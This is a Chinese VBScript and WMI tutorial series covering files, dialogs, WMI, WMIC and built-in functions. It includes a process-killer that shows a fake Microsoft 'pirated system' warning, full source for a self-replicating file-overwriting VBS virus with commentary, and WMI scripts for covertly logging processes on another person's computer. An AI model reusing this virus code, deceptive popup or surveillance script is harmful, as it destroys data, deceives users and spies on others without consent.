Column 屬性 ( 當前字符位置的列號 ) line 屬性 ( 文件當前行號 ) :在打開一個文件後,行和列指針都被設置爲 1

4 、在文件中跳行: skip(x)  跳過 x 個字符; skipline  跳過一行

5 、在文件中寫入字符:可以用 2 -寫入和 8 -追加的方式來寫入

其方法有: write(x) 寫入 x 字符串; writeline(x) 寫入 x 代表的一行

writeblanklines(n) 寫入 n 個空行

注意:最後一定要使用 close 方法關閉文件 , 讀文件後一定要關閉,才能以寫的方式打開。

 

 

Vbs 腳本編程簡明教程之十二

 

使用系統對話框

 

VBS 腳本設計中,如果能使用 windows 提供的系統對話框,可以簡化腳本的使用難度,使腳本人性化許多,很少有人使用,但 VBS 並非不能實現這樣的功能,方法當然還是利用 COM 對象。

1 SAFRCFileDlg.FileSave 對象:屬性有: FileName 指定默認文件名; FileType 指定文件擴展名; OpenFileSaveDlg 顯示文件保存框體方法。

2 SAFRCFileDlg.FileOpen 對象: FileName 默認文件名屬性; OpenFileOpenDlg 顯示打開文件框體方法。

3 UserAccounts.CommonDialog 對象: Filter 擴展名屬性( "vbs File|*.vbs|All Files|*.*" );

FilterIndex 指定

InitialDir 指定默認的文件夾

FileName 指定的文件名

Flags 對話框的類型

Showopen 方法:

很簡單, ok ,讓我們來舉兩個簡單的例子:

例一:保存文件

Set objDialog = CreateObject("SAFRCFileDlg.FileSave")

Set objFSO = CreateObject("Scripting.FileSystemObject")

objDialog.FileName = "test"

objDialog.FileType = ".txt"

intReturn = objDialog.OpenFileSaveDlg

If intReturn Then

objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)

Else

Wscript.Quit

End If

注意: 1 SAFRCFileDlg.FileSave 對象僅僅是提供了一個方便用戶選擇的界面,本身並沒有保存文件的功能,保存文件還需要使用 FSO 對象來完成。 2 、用 FileType 屬性來指定默認的文件類型。 3 、在調用 OpenFileSaveDlg 方法時,最好把返回值保存到一變量中,用它可以判斷用戶按下的是確定還是取消。

例二: . 打開文件

set objFile = CreateObject("SAFRCFileDlg.FileOpen")

intRet = objFile.OpenFileOpenDlg

if intret then

msgbox “文件打開成功!文件名爲:” & objFile.filename

else

wscript.quit

end if

例三:比較複雜的打開文件對話框

Set objDialog = CreateObject("UserAccounts.CommonDialog")

objDialog.Filter = "vbs File|*.vbs"

objDialog.InitialDir = "c:/"

tfile=objDialog.ShowOpen

if tfile then

strLoadFile = objDialog.FileName

msgbox strLoadFile

else

wscript.quit

end if

說明:在腳本中加入 objDialog.Flags = &H020 看看會出現什麼結果

 

Vbs 腳本編程簡明教程之十三—— 1

WMI 基礎之一

 

WMI Windows 管理規範,是用戶管理本地和遠程計算機的一種模型。通過它可以訪問、配置、管理和監視幾乎所有的 Windows 資源。 WMI 的語法十分簡單,基本上常見的命名空間、對象等用幾乎一模一樣。它對應的是 Windows 裏的 WMI 服務( winmgmt )。

一、 WMI 的起源

幾年前,幾家資深的計算機公司由於系統管理領域缺少標準,委託 DMTF 啓動了 CIM (通用信息模型)項目,理想的 CIM 是一種不受限制於任何特定實現環境的管理工具。 WMI CIM 的微軟實現,它有很多類是從 CIM 中派生出來的。

二、 WMI 的命名空間

那麼命名空間是做什麼作用的呢?我簡單這樣說,在同一段代碼中,如果有兩個變量或函數的名字完全相同,就會出現衝突。命名空間就是爲解決變量、函數的命名衝突而服務的。解決的辦法就是將你的變量定義在一個不同名字的命名空間中。就好像財政局有個張三,公安局也有個張三,但我們清楚,就是因爲他們分屬不同的單位。有些地方可能不太準確,但大致意思就是這樣了。

WMI 的命名空間創建了一個層次結構,有點類似於我們的目錄文件結構。

1   root- 作爲所有其他名字的佔位符;

2   root/default- 與註冊表操作有關的類;

3   root/security- 與系統安全有關的類;

4   root/cimv2- CIM 派生的類,代表我們最常用的工作環境。

三、 WMI 的對象路徑

WMI 的對象路徑用來在 CIM 庫中定位類和它的事例,對象路徑用兩個反斜槓 // 開頭,第一個元素是目標計算機的名字,第二個元素是相應的 WMI 命名空間,第三個元素是相應的類名,並用 將它與命名空間分隔開來。例如: //../root/cimv2:win32_service

其中那個 . 代表是本地系統。

四、 WMI 的查詢語言—— WQL 僅僅是 ANSI SQL 的一個子集,只能用於數據的提取。

數據、事件查詢的基本語法爲:

Select pro1 , pro2 , pro3  from myclass myclassevent

例如: Select name , path from Win32_share  說明:列出所有共享的名稱和路徑

也可以使用通配符 * ,例如: Select * from Win32_share

關鍵字 Where 用於限定查詢的範圍。

例如: Select * from Win32_share where name= Admin

五、 WMI 腳本中使用的三個步驟

步驟 1 :連接到 WMI 服務

在任何 WMI 腳本中,第一個步驟都是建立一個到目標計算機上的 Windows 管理服務的連接。方法是調用 VBScript Getobject 函數並將 WMI 腳本庫的名字對象的名稱(即“ winmgmts: ”,後跟目標計算機的名稱)傳遞到 Getobject ,並返回一個對象的引用,此時,您就可以調用其提供的方法如: InstancesOf ,正如方法名所示, InstancesOf 返回由資源的類名標識的託管資源的所有實例。

步驟 2 :檢索 WMI 託管資源的實例

一般採用 WQL 來實現。

步驟 3 :顯示 WMI 託管資源的屬性

最後一個步驟是枚舉 檢索得到集合的內容。一般採用

For each enum in  myclass

……

Next       結構來實現。

六、 WMI 測試器 (wbemtest.exe) 驗證腳本執行結果

現在,您對可用於瀏覽和查看 CIM 的工具已經有了一些認識,讓我們使用 WMI 測試器 (wbemtest.exe) 來檢查 Win32_Process 類定義,以便從在您的本地計算機上運行的進程檢索一些屬性。

1. 打開一個命令提示,鍵入 C:/>wbemtest.exe ,按下 Enter 來開始 WMI 測試器工具。請注意,大部分按鈕在主 WMI 測試器窗口上是被禁用的,這說明此時您沒有連接到 WMI

2. 單擊 “連接”按鈕 連接到本地或遠程計算機上的 WMI 服務。顯示“連接”對話框,它提供一個標記爲 名稱空間 的文本輸入區域,該區域默認值爲 root/default 。將 名稱空間 區域的值更改爲 root/cimv2 ,單擊“連接”對話框的 連接 按鈕返回到主 WMI 測試器窗口。

3. 主窗口中左上角的命名空間標識符應該顯示爲 root/cimv2 。請注意,所有的按鈕現在都已啓用,這說明在當前憑據環境下,您已經成功連接到本地主機上的 WMI 。單擊 枚舉類別 打開“超類信息”對話框。

4. 在“超類信息”對話框中,不要填寫 輸入超類別名稱 區域,單擊 遞歸 選項,單擊 確定 以枚舉 root/cimv2 名稱空間中定義的所有 CIM 類。

請注意,列於“查詢結果”對話框頂部的類是以兩個下劃線爲開頭的。這些是系統類。系統類是預定義的 CIM 類,支持內部 WMI 配置與操作,例如提供程序註冊、命名空間安全性及事件通知等。現在,忽略系統類,向下滾動“查詢結果”對話框直至看到以 CIM_ 開頭的類。名稱以 CIM_ 開頭的類是由 DMTF 維護的核心與公共基類。繼續向下滾動直至到達以 Win32_ 開頭的類。 名稱以 Win32_ 開頭的類是 Microsoft 擴展類,表示 Windows 特定的託管資源。如果這是您第一次檢查 root/cimv2 命名空間,您可能希望熟悉 root/cimv2 命名空間中的類的完整集合,尤其是有 Win32_ 前綴的類。

5. 向下滾動“查詢結果”對話框直至到達 Win32_Process 類,雙擊該類名打開 Win32_Process 對話框的對象編輯器。

6. “對象編輯器”對話框顯示被選定類的定義和實現的詳細信息(屬性和方法)。選擇 Hide System Properties 複選框隱藏系統屬性。剩餘的 Win32_Process 屬性表示您可以從在本地或遠程計算機上運行的進程檢索的信息。

運行如下代碼:

strComputer = "."  

Set wbemServices = Getobject("winmgmts://" & strComputer)

Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")

For Each wbemObject In wbemObjectSet

    WScript.Echo "Name:          " & wbemObject.Name      & vbCrLf & _

                 "   Handle:     " & wbemObject.Handle    & vbCrLf & _

                 "   Process ID: " & wbemObject.ProcessID

Next

7. 在運行腳本之後,您可以用 WIMI 測試器驗證腳本的結果。在 Win32_Process 對話框的對象編輯器中,單擊 Instances 。產生的查詢結果對話框列出在計算機上運行的進程的實例。雙擊一個指定的進程實例,查看該實例的詳細信息。

 

Vbs 腳本編程簡明教程之十三—— 2

WMI 基礎之二—阻止客人運行你不想運行的程序

 

 

很多人都有這樣的經驗,剛剛裝好的系統,讓人運行了一些你不想他運行的程序,比如說 QQ ,又是聊天,又是下載表情,不過一會,流氓插件、病毒、木馬已經盤踞了你的計算機,常常是忍痛將這個程序卸載,可是不知情的人很自覺的下載安裝,使整個系統無法正常運行。

其實用 vbs wmi 結合起來,使你的計算機上有相應的程序安裝,別人又無法運行起來太容易了,現在給出代碼:

On Error Resume Next    ' 忽略所有的錯誤

Dim bag,pipe,honker,good

Do

good="."     ' 定義爲本地計算機

set bag=getobject("winmgmts://"& good &"/root/cimv2")     'l 連接到 cimv2 命名空間

set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'")    ' 看,這是我的計算機上不允許運行的程序, qq qqgame winmine (掃雷)如果你還有其他的程序不允許運行,很簡單,在其中添加 or name=' 你不允許運行的程序名 '

for each i in pipe

i.terminate()

msgbox " 發現盜版系統,現已進行功能限制! " & vbcrlf & " 請使用正版軟件! ",," 微軟提示 "    ' 此行其實可有可無,有這行只是爲了免去懷疑

next

wscript.sleep 60000    ' 1 分鐘檢測一次

loop

那麼如果我自己想運行這些程序該怎麼辦呢 , 很簡單, Ctrl+Alt+Del 三個鍵齊按,打開 windows 任務管理器,在進程中結束 Wscript.exe wmiprvse.exe 進程的運行就可以了

 

Vbs 腳本編程簡明教程之十四

使用 dictionary 對象

 

VBS 中存在一個特殊的對象- dictionnary ,是一個集合對象。一般情況霞,我把這個特殊的集合想象爲數組,可以使用其中內建的函數完成存儲和操縱數據等基本任務,無須擔心數據是在哪些行列,而是使用唯一的鍵進行訪問或者是一個只能運行在內存中的數據庫,並只有兩個字段分別是: key item ,在使用中,字段 key 是索引字段。

set sdict=CreateObject("Scripting.Dictionary")

sdict.add "a","apple"

sdict.add "b","banana"

sdict.add "c","copy"

for each key in sdict.keys

msgbox     " 鍵名 " &   key     & " " & " = " & sdict (key)

next

sdict.removeall

這個腳本很簡單,就是定義了一個 dictionary 對象的實例 sdict ,並加入了三條數據,然後對每一條數據進行了枚舉,最後,將對象的實例清空。

Dictionary 對象的成員概要

屬性和說明

CompareMode    設定或返回鍵的字符串比較模式

Count     只讀。返回 Dictionary 裏的鍵 / 條目對的數量

Item(key)  設定或返回指定的鍵的條目值

Key(key)  設定鍵值

方法和說明

Add(key,item)  增加鍵 / 條目對到 Dictionary

Exists(key)  如果指定的鍵存在,返回 True ,否則返回 False

Items()  返回一個包含 Dictionary 對象中所有條目的數組

Keys()  返回一個包含 Dictionary 對象中所有鍵的數組

Remove(key)  刪除一個指定的鍵 / 條目對

RemoveAll()   刪除全部鍵 / 條目對

 

 

Vbs 腳本編程簡明教程之十五—— 1

VBS 內置函數之一

 

Abs 函數:返回數的絕對值。

Array 函數:返回含有數組的變體。

Asc 函數:返回字符串首字母的 ANSI 字符碼。

Atn 函數:返回數值的反正切。

CBool 函數:返回已被轉換爲 Boolean 子類型的變體的表達式。

CByte 函數:返回已被轉換爲字節子類型的變體的表達式。

CCur 函數:返回已被轉換爲貨幣子類型的變體的表達式。

CDate 函數:返回已被轉換爲日期子類型的變體的表達式。

CDbl 函數:返回已被轉換爲雙精度子類型的變體的表達式。

Chr 函數:返回與指定的 ANSI 字符碼相關的字符。

CInt 函數:返回已被轉換爲整形子類型的變體的表達式。

CLng 函數;返回已被轉換爲 Long 子類型的變體的表達式。

Cos 函數:返回角度的餘弦。

CreateObject 函數:創建並返回對“自動”對象的引用。

CSng 函數:返回已被轉換爲單精度子類型的變體的表達式。

CStr 函數:返回已被轉換爲字符串子類型的變體的表達式。

Date 函數:返回當前系統日期。

DateAdd 函數:返回的日期已經加上了指定的時間間隔。

DateDiff 函數:返回兩個日期之間的間隔。

DatePart 函數:返回給定日期的指定部分。

DateSerial 函數:返回指定年月日的日期子類型的變體。

Datevalue 函數:返回日期子類型的變體。

Day 函數:返回日期,取值範圍爲 1 31

Eval 函數:計算表達式並返回結果。

Exp 函數:返回 e (自然對數的底) 的多少次方。

Filter 函數:根據指定的篩選條件 , 返回含有字符串數組子集的、下限爲 0 的數組。

Fix 函數:返回數的整數部分。

FormatCurrency 函數:返回的表達式爲貨幣值格式,其貨幣符號採用系統控制面板中定義的。

FormatDateTime 函數:返回的表達式爲日期和時間格式。

FormatNumber 函數:返回的表達式爲數字格式。

FormatPercent 函數:返回的表達式爲百分數(乘以 100 )格式,後面有 % 符號。

GetObject 函數:返回從文件對“自動”對象的引用。

GetRef 函數:返回對能夠綁定到一事件的過程的引用。

Hex 函數:返回一字符串,代表一個數的十六進制值。

Hour 函數:返回表示鐘點的數字,取值範圍爲 0 23

InputBox 函數:在對話框中顯式一提示,等待用戶輸入文本或單擊按鈕,並返回文本框的內容。

InStr 函數:返回一個字符串在另一個字符串中首次出現的位置。

InStrRev 函數;返回一個字符串在另一個字符串中出現的位置,但是從字符串的尾部算起。

 

VBS 內置函數之二

 

Int 函數:返回數的整數部分。

IsArray 函數:返回 Boolean 值,反映變量是否爲數組。

IsDate 函數:返回 Boolean 值,反映表達式能否轉換爲日期。

IsEmpty 函數:返回 Boolean 值,反映變量是否已被初始化。

IsNull 函數:返回 Boolean 值,反映表達式是否含有無效數據 (Null)

IsNumeric 函數:返回 Boolean 值,反映表達式能否轉換爲數字。

IsObject 函數:返回 Boolean 值,反映表達式是否引用了有效的“自動”對象。

Join 函數:返回通過連接許多含有數組的子串而創建的字符串。

LBound 函數;返回指定維數數組的最小有效下標。

LCase 函數:返回的字符串已被轉換爲小寫字母。

Left 函數:返回字符串最左邊的指定數量的字符。

Len 函數:返回字符串中的字符數或存儲變量所需的字節數。

LoadPicture 函數:返回圖片對象。只用於 32 位平臺。

Log 函數:返回數的自然對數。

LTrim 函數;返回去掉前導空格的字符串。

Mid 函數:從字符串中返回指定數量的字符。

Minute 函數:返回分鐘數,取值範圍爲 0 59

Month 函數:返回表示月份的數,取值範圍爲 1 12

MonthName 函數:返回表示月份的字符串。

MsgBox 函數:在對話框中顯示消息,等待用戶單擊按鈕,並返回表示用戶所擊按鈕的數值。

Now 函數:返回計算機的當前系統日期和時間。

Oct 函數:返回表示該數八進制數值的字符串。

Replace 函數:返回一字符串,其中指定的子串已被另一個子串替換了規定的次數。

RGB 函數:返回代表 RGB 顏色值的數字。

Right 函數:返回字符串最右邊的指定數量的字符。

Rnd 函數:返回隨機數。

Round 函數:返回指定位數、四捨五入的數。

RTrim 函數:返回去掉尾部空格的字符串副本。

ScriptEngine 函數:返回反映使用中的腳本語言的字符串。

ScriptEngineBuildVersion 函數:返回使用中的腳本引擎的編譯版本號。

ScriptEngineMajorVersion 函數:返回使用中的腳本引擎的主版本號。

ScriptEngineMinorVersion 函數:返回使用中的腳本引擎的次版本號。

Second 函數:返回秒數,取值範圍爲 0 59

VBS 內置函數之三

 

 

Sgn 函數:返回反映數的符號的整數。

Sin 函數:返回角度的正弦值。

Space 函數:返回由指定數量的空格組成的字符串。

Split 函數:返回下限爲 0 的、由指定數量的子串組成的一維數組。

Sqr 函數:返回數的平方根。

StrComp 函數:返回反映字符串比較結果的數值。

String 函數:返回指定長度的重複字符串。

StrReverse 函數:返回一字符串,其中字符的順序與指定的字符串中的順序相反。

Tan 函數:返回角度的正切值。

Time 函數:返回表示當前系統時間的“日期”子類型的“變體”。

Timer 函數:返回時經子夜 12 00 AM 後的秒數。

TimeSerial 函數:返回含有指定時分秒時間的日期子類型的變體。

Timevalue 函數:返回含有時間的日期子類型的變體。

Trim 函數:返回去掉前導空格或尾部空格的字符串副本。

TypeName 函數:返回一字符串,它提供了關於變量的變體子類型信息。

UBound 函數:返回指定維數數組的最大有效下標。

UCase 函數:返回的字符串已經被轉換爲大寫字母。

VarType 函數:返回標識變體子類型的數值。

Weekday 函數:返回表示星期幾的數值。

WeekdayName 函數:返回表示星期幾的字符串。

Year 函數:返回表示年份的數值。

 

 

 

 

 

 

 

 

 

 

 

 

 

vbs 病毒的簡單例子源代碼解析

說明:作者對某些代碼進行了修改。該文件是一個完整的程序。該文件執行之後,會尋找硬盤上所有滿足條件的文件,對其進行強制性覆蓋(滿足條件的文件數據將全部丟失)、並再創建一個相同文件名但後帶 .vbs 的文件。因此,請注意設立好破壞測試條件,千萬不要對他人進行測試,否則,一切後果自負。

dim folder,fso,foldername,f,d,dc

set fso=createobject("scripting.filesystemobject")

set self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall ' 讀取病毒體,以備複製到文件

self.close

set dc=fso.Drives

for each d in dc

if d.drivetype=3 or d.drivetype=2 then ' 檢查磁盤類型

wscript.echo d ' 彈出窗口,顯示找到盤符

scan(d)

end if

next 

lsfile=wscript.scriptfullname ' 該腳本程序路徑

set lsfile=fso.getfile(lsfile)

lsfile.delete(true) ' 病毒運行後自我刪除 ( 本人自加,愛蟲病毒本身沒有該代碼)

sub scan(folder_)

on error resume next

set folder_=fso.getfolder(folder_)

set files=folder_.files

for each file in files

ext=fso.GetExtensionName(file) ' 獲取文件後綴

ext=lcase(ext) ' 後綴名轉換成小寫字母

if ext="mp5" then ' 如果後綴名是 mp5, 當然不存在這種文件,這裏可以自己修改,但是注意。請自己建立相應後綴名的文件,最好是非正常後綴名

set ap=fso.opentextfile(file.path,2,true) 

' ap.write vbscopy ' 覆蓋文件,慎用

ap.close

set cop=fso.getfile(file.path)

cop.copy(file.path & ".vbs") ' 創建另外一個病毒文件

' file.delete(true) ' 刪除原來文件

end if

next

set subfolders=folder_.subfolders

for each subfolder in subfolders ' 搜索其他目錄

scan(subfolder)

next 

end sub

 

 

Vbs 腳本編程簡明教程補充讀物-初窺 WMI

今天,我將給大家介紹個朋友,它就是 Microsoft Windows Management Instrumentation (WMI) 。中文名字叫 Windows 管理規範。從 Windows 2000 開始, WMI Windows 管理規範)就內置於操作系統中,並且成爲了 Windows 系統管理的重要組成部分。所以大家很容易就能見到它的,因爲我們至少也應該是個 Windows 2000 的使用者了。下面我將詳細介紹它的每個細節,讓你從不認識它到喜歡上它。

WMI 能做什麼?

WMI 不僅可以獲取想要的計算機數據,而且還可以用於遠程控制。遠程控制計算機可是大家都喜歡的東西。很多遠程監視控制類軟件通常的做法是:在遠程計算機上運行服務端後臺程序,在本地計算機上運行一個客戶器端控制程序,通過這二個程序的勾結來實現對計算機的遠程控制。這種作法的缺點是十分明顯的,當服務端程序關了,這種遠程監控就無法實現了,因爲沒有內線了。而 WMI 實現的遠程監視和控制完全不需要另外裝什麼服務端的東西,系統默認就將 WMI 服務給開了。具體說來, WMI 的本領如下:

1 .獲取本地和遠程計算機的硬件軟件信息。

2 .監視本地和遠程計算機的軟件和服務等運行狀況。

3 .控制本地和遠程計算機的軟件和服務運行。

4 .高級應用。

如何訪問 WMI

當我們知道 WMI 的某些本領後,我們已經很想知道如何認識他並利用他了。利用 WMI 有許多途徑,簡單說來有三種了:

1 .通過微軟給我們提供的各種工具來實現普通查詢和操作。主要包括命令提示符下面的 WMIC ,還有就是微軟給我們提供的 WMI TOOL ,大家可以到微軟的網站上免費下載,當然我也可以給大家免費提供。

2 .通過自己編寫腳本來實現更靈活操作。要想真正靈活實用,對 WSH 腳本的熟悉是必須的,當然如果你不熟悉也沒有關係,稍後我會給大家詳細解釋的。

3. 通過編寫我們自己的程序來訪問並操作它。什麼語言都行。如果用 .NET 類程序要簡單些了,如果用 VC 等要複雜些了,起碼我是這麼認爲的。

4 .還有個訪問它的方法,就是到它的一個巢穴。在 C:/WINDOWS/system32/wbem 目錄中的東西都和它有密切聯繫,有日誌和各種工具,在裏面你可以找到很多答案的。不過這些東西一般都不適合我們新手玩了,感覺有點嚇人。

我們今天的任務?

今天我們的任務有五個:

任務一:利用 WMIC 列出遠程計算機上的所有進程。

任務二:利用 WMIC 關閉本地進程。

任務三:通過 WMIC 把遠程主機的進程信息保存在一個網頁中

任務四:利用腳本實時監視對方進程

任務五:利用腳本給對方開放共享

查看和監視進程,還要把進程給殺掉,最後還要給對方開個共享,我們這位朋友快把壞事做盡了。明白了我們的任務,我們就可以上路了。這次我們將主要藉助 WMIC 和腳本來實現我們的任務,所以我們將主要分爲兩大部分來講解。在五個任務的實戰中我們將更加深入地理解它,沒有基礎沒有關係,我將盡力去解釋所有的所謂的基礎,讓大家能很輕鬆地和這位朋友交流。

第一部分:利用 WMIC 來認識 WMI

WMIC Windows Management Instrumentation Commandline 的簡稱, WMIC 擴展 WMI ,提供了從命令行接口和批命令腳本執行系統管理的支持。爲 WMI 名稱空間提供了一個強大的、友好的命令行接口。有了 WMIC WMI 就顯的平易近人了。

執行“ WMIC ”命令將啓動 WMIC 命令行環境。第一次執行 WMIC 命令時, Windows 首先要安裝 WMIC ,然後顯示出 WMIC 的命令行提示符。在 WMIC 命令行提示符上,命令將以交互的方式執行。如果你不知道該如何和它交互,請敲個“ /? ”,細細看完全部的說明,你就知道了。 WMIC 也可以按照非交互的模式運行。如果要執行某個單步的任務,或者運行批命令中的一系列 WMIC 命令,非交互模式就很有用。要使用非交互模式,只要在同一個命令行上啓動 WMIC 並輸入要執行的命令就可以了。

1 .任務一:利用 WMIC 列出遠程計算機上的所有進程

這是一個實現起來很簡單的任務,和你用一個 DOS 命令一樣簡單,因爲我們要循序漸進嘛,所以安排了這麼一個熱身任務。在命令提示符下敲入下面的命令,我們將看到。

WMIC /node:192.168.1.2 /user:net process

解說:

1 )上面命令中的 NODE USER 是全局開關。如果你不願意另外輸一次密碼,你也可以用 PASSWORD 開關,後面寫上密碼就可以了( WMIC /node:192.168.1.2 /user:net /password:password process )。千萬要注意,這裏的用戶名和密碼都必須是管理員級別的,其它的無效。 WMIC 提供了大量的全局開關、別名、動詞、命令和豐富的命令行幫助增強用戶接口。全局開關是用來配置整個 WMIC 會話的選項。

2 Process 是個別名,執行了一個 Win32_process 類的 WQL 查詢,至於說是 WMI 的類是什麼東西,感興趣的就自己找資料多多瞭解,如果你很懶的話,就等我有時間給你開課講解。別名是用戶和 WMI 名稱空間一個簡化語法的中間層。當你指定一個別名時,動詞( Verb )表示要執行的動作。

3 )如果你願意,你可以在該後面加上個動詞等,比如 LIST FULL 等(如: WMIC /node:192.168.1.2 /user:net /password:password process ),這樣你就看得更清楚了。

小提示:安裝了 WMIC 的機器可以連接到任何一臺安裝了 WMI 的機器,被連接的機器不需要安裝 WMIC

2 .任務二:利用 WMIC 關閉本地進程

執行下面的命令將關閉正在運行的 QQ 。我比較膽小,所以不敢關別人的 QQ ,只能拿我的 QQ 試驗了,如果你的智商還夠用的話,膽子比較大的話,你很快就會去關別人的了。

WMIC

process where name=”qq.exe” call terminate

解說:

1 )這次我們是用交互式的方法來執行任務,具體界面我就不多說了,圖上畫的比我說的好多了。

2 Call 也是個動詞,這個動詞可是厲害了,控制類的沒有不用它的,它就是可以調用各種類的各種方法的大將。這裏我們調用了 terminate 方法。從字面上你就可以看出是惡狠狠的。

3 Where 能夠讓你查詢和篩選。在超級多的實例中找到你想要的。實例就是指每個類的具體實現了。前面的例子中看到的各個進程都分別算是 WIN32_PROCESS 中的一個實例。

3 .任務三:通過 WMIC 把遠程主機的進程信息保存在一個網頁中

這個任務和任務一中的大致相同,是任務一的加強。在任務一中信息以文本的形式顯示出來了。其實除了文本形式的輸出之外, WMIC 還能夠以其他形式返回命令執行結果,例如 XML HTML 或者 CSV (逗號分隔的文本文件),如圖 3 所示。我們可以敲入下面的命令:

wmic /output:C:/1.html /node:192.168.1.2 /user:net process list full /format:hform.xsl

輸入密碼 :******

解釋:

1 )全局開關 OUTPUT 指明將這些信息保存在什麼地方。

2 )全局開關 FORMAT 指明瞭用什麼樣的格式,至於說有那些格式可以用,你可以參看 C:/WINDOWS/system32/wbem 目錄中的 *.xsl 文件,你甚至不用管它們從哪裏來的,用就是了。挨着看看,一定可以找到你喜歡的。

第二部分:利用腳本來認識 WMI

命令提示符的工具確實好用,但是卻顯示不出我們是高手,高手都是能利用程序來實現目的的。下面我們就開始用腳本來實現我們的任務,功能將更加強大,操作將更加靈活。

無論腳本還是真正意義上的程序,要檢索 WMI 託管資源信息進而查詢並利用 WMI ,都需要遵循以下三個步驟的。

1 .連接到 WMI 服務。建立一個到目標計算機上的 Windows 管理服務的連接。

2 .檢索 WMI 託管資源的實例。主要取決於要執行的任務。

3 .顯示 WMI 某實例屬性和調用其方法。

1 .任務四:利用腳本實時監視對方進程

在任務一和任務三中我們都是在查看對方的進程,出來的結果對我們意義不是很大,在這個任務中我們要從現在開始每當他開一個任務我們就察覺到,並把它記錄下來。我們要在他開進程的那一秒開始報告並記錄,我們要清楚他所開的程序所在的位置,我們要比他更清楚地知道這些信息。

現在我們就按照前面提到的三個步驟來實現任務。

首先,我們連接到對方的 WMI 。在這裏我們首先調用 VBScript 的中的 Createobject ()來得到一個對象,然後利用這個特殊的對象的方法來連接到遠程的計算機上。這個特殊的對象就是 wbemscripting.swbemlocator

set olct=createobject("wbemscripting.swbemlocator")

set wbemServices=olct.connectserver(strComputer,"root/cimv2",strUser,strPwd)

注意其中的 strComputer 就是你所要連接的計算機的名稱或者 IP 地址, strUser strPwd 當然就是用戶名和密碼了,我們說過這個用戶必須是具有管理員權限的纔可以。 root/cimv2 WMI 的命名空間,關於 WMI 的命名空間,大家可以到“計算機管理 /WMI 控件”中看到,這裏面的學問就大了,得慢慢琢磨,爲了我們的任務快速實現,我就不多解釋了。用這種方法連接到 WMI ,返回一個對 SWbemServices 對象的引用,一旦有一個對 SWbemServices 對象的引用。我們就可以進行第二個步驟了。

在第二個步驟中,我們將得到 WMI 託管資源的實例,我們利用 WbemServices 中的一個方法 ExecNotificationQuery 可以查詢我們所要的類,進而可以得到該類中實例。

Set colMonitoredProcesses = wbemServices. _

ExecNotificationQuery("select * from __instancecreationevent " _

& " within 1 where TargetInstance isa 'Win32_Process'")

注意這裏有個類似於 SQL 語言的查詢語言,這裏叫做 WQL 語言,懂 SQL 的一看就明白了,不懂的就在網上找找它的資料,滿天都是。得到的 colMonitoredProcesses 是所查詢的類的實例的集合。有了這些我們的第三個步驟就可以開始了。

在第三個步驟中,我們將顯示出得到的實例中的屬性。剛纔我們得到的是實例的集合,在這裏我們通過 colMonitoredProcesses.NextEvent 來獲取每一個具體的實例,得到每一個具體的實例後,我們就可以顯示出他們的屬性,也就是我們想看的東西了。這裏我們顯示了 CommandLine 的屬性值。

到現在你是否有些迷惑了,因爲你還不知道到底 WMI 裏面有那些類,具體類又有哪些屬性,呵呵,沒有關係的,用一些工具可以很輕鬆的得到這些信息。比如系統自帶的 wbemtest ,在運行中敲入這個程序名,你就可以看到這些了,它也遵循連接、查詢、枚舉這三個步驟。自己慢慢玩吧,很快你就會發現 WMI 太大了,單是命名空間就有 10 多個,然後單是我們常用的空間 root/CIMV2 裏面就有近 1000 個類,每個類裏面又有好多的屬性,有些類還有好多方法。哈哈,頭暈了吧?沒關係,其實你只需要知道其中的一些就好了。

看到這些估計你的頭已經很大了,但是恭喜你,我們的這個任務已經完成了,是的,就是這麼簡單,下面我將完整代碼奉獻出來。

Set colArgs = WScript.Arguments

If WScript.arguments.count < 3 then

WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"

WScript.quit

End If

strComputer = wscript.arguments(0)

strUser = wscript.arguments(1)

strPwd = wscript.arguments(2)

strFile = wscript.arguments(3)

set olct=createobject("wbemscripting.swbemlocator")

set wbemServices=olct.connectserver(strComputer,"root/cimv2",strUser,strPwd)

Set colMonitoredProcesses = wbemServices. _

ExecNotificationQuery("select * from __instancecreationevent " _

& " within 1 where TargetInstance isa 'Win32_Process'")

i = 0

Do While i = 0

Set objLatestProcess = colMonitoredProcesses.NextEvent

Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine

Set objFS = CreateObject("Scripting.FileSystemObject")

Set objNewFile = objFS.OpenTextFile(strFile,8,true)

objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine

objNewFile.Close

Loop

到這個程序的核心了吧?相信你已經懂了其中的很多,剩餘的部分代碼我稍後解釋。我們先來感性認識一下,先看它該怎麼用吧!把上面的代碼拷貝到記事本中,然後保存爲 monitor.vbs 的文件,然後在命令提示符下輸入:

CSCRIPT monitor.vbs

回車,你就會看到幫助,下面舉例說明這個腳本的具體用法:

CSCRIPT monitor.vbs 192.168.1.2 user password C:/1.txt

在命令提示符下敲入上面的命令就 OK 了,每當對方開一個程序的時候,你就可以看到時間,程序路徑和程序名。如果你沒有時間去看這些信息,你還可以等有時間的時候到 C:/1.txt 看到這些信息。

小知識:

每次使用腳本,都必須敲入 CSCRIPT 和腳本的後綴名,很麻煩。這是因爲系統默認的執行引擎是 WSCRIPT ,可以將它改成 CSCRIPT 。另外一個讓人不爽的是腳本執行後總要顯示微軟的說明,好像腳本不是我們寫的一樣。不過你可以通過在命令提示符下敲入下面的命令來解決這個問題:

cscript //nologo //h:cscript //s

這樣你以後再運行這些腳本的時候就不用在敲入 CSCRIPT 了,也不用在寫入 .vbs 的後綴名了,就上面的例子來說,你可以這樣用:

monitor 192.168.1.2 user password C:/1.txt

解釋:

1 )前面的那幾行,大概就是爲了顯示幫助和處理我們在後面輸入的參數。應用到了 WScript.Arguments 這個對象,利用它我們可以來獲取並處理腳本的參數。

2 )那個死循環是爲了讓我們一直監視他(她),每當他開一個程序,我們就得到一個新的實例,我們就可以知道他更多的信息,哈哈,夠狠吧。這樣你也就知道了,當我們這個腳本運行後,只有通過我們人爲中止才能中斷監視,人爲中止的方法大家可以用 CTRL+C 來完成,也可以用各種野蠻的方法來中止。

3 )在代碼中出現的另外一個核心對象就是 FileSystemObject ,應該是大家的老朋友了吧,我這裏就不再做解釋了,我們在這裏應用它主要是爲了將結果同時保存到一個文件中,我們利用它來創建或打開一個文件,將信息追加進去。

4 )至於那個 NOW ,雖然體積很小,但是卻正是它給我們提供了時間這個重要的信息。

